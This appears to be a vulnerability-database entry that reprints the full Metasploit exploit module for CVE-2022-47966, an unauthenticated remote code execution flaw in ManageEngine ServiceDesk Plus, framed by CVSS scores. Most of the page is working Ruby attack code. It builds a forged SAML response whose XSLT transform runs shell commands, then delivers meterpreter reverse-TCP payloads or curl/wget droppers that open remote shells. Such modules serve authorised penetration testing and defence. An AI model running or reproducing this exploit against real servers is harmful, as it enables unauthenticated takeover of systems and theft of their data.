CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%
This Metasploit module exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse XML to the ServiceDesk Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status.
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE',
'Description' => %q{
This exploits an unauthenticated remote code execution vulnerability
that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and
below (CVE-2022-47966). Due to a dependency to an outdated library
(Apache Santuario version 1.4.1), it is possible to execute arbitrary
code by providing a crafted `samlResponse` XML to the ServiceDesk Plus
SAML endpoint. Note that the target is only vulnerable if it has been
configured with SAML-based SSO at least once in the past, regardless of
the current SAML-based SSO status.
},
'Author' => [
'Khoa Dinh', # Original research
'horizon3ai', # PoC
'Christophe De La Fuente' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-47966'],
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
'Platform' => ['win', 'unix', 'linux'],
'Payload' => {
'BadChars' => "\x27"
},
'Targets' => [
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
'CmdStagerFlavor' => %w[curl wget echo lwprequest]
}
]
],
'DefaultOptions' => {
'RPORT' => 8080
},
'DefaultTarget' => 1,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),
OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
)
return CheckCode::Unknown unless res
# vulnerable servers respond with 400 and a HTML body
return CheckCode::Safe unless res.code == 400
script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')
info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)
return CheckCode::Unknown unless info
unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'
return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")
end
# SAML 2.0 support has been added in build 10511
# see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105
build = Rex::Version.new(info[:build])
unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')
return CheckCode::Safe("Target build is #{info[:build]}")
end
CheckCode::Appears
end
def encode_begin(real_payload, reqs)
super
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
end
end
def exploit
case target['Type']
when :windows_command, :unix_cmd
execute_command(payload.encoded)
when :windows_dropper, :linux_dropper
execute_cmdstager(delay: datastore['DELAY'])
end
end
def execute_command(cmd, _opts = {})
case target['Type']
when :windows_dropper
cmd = "cmd /c #{cmd}"
when :unix_cmd, :linux_dropper
cmd = cmd.gsub(' ') { '${IFS}' }
cmd = "bash -c #{cmd}"
end
cmd = cmd.encode(xml: :attr).gsub('"', '')
assertion_id = "_#{SecureRandom.uuid}"
# Randomize variable names and make sure they are all different using a Set
vars = Set.new
loop do
vars << Rex::Text.rand_text_alpha_lower(5..8)
break unless vars.size < 3
end
vars = vars.to_a
saml = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
ID="_#{SecureRandom.uuid}"
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion ID="#{assertion_id}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="##{assertion_id}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
<xsl:value-of select="$#{vars[2]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
<ds:KeyInfo/>
</ds:Signature>
</Assertion>
</samlp:Response>
EOS
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_post' => {
'SAMLResponse' => Rex::Text.encode_base64(saml)
}
})
unless res&.code == 500
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
elog("Unkown error returned:\n#{lines.join("\n")}")
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")
end
fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')
end
res
end
end
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%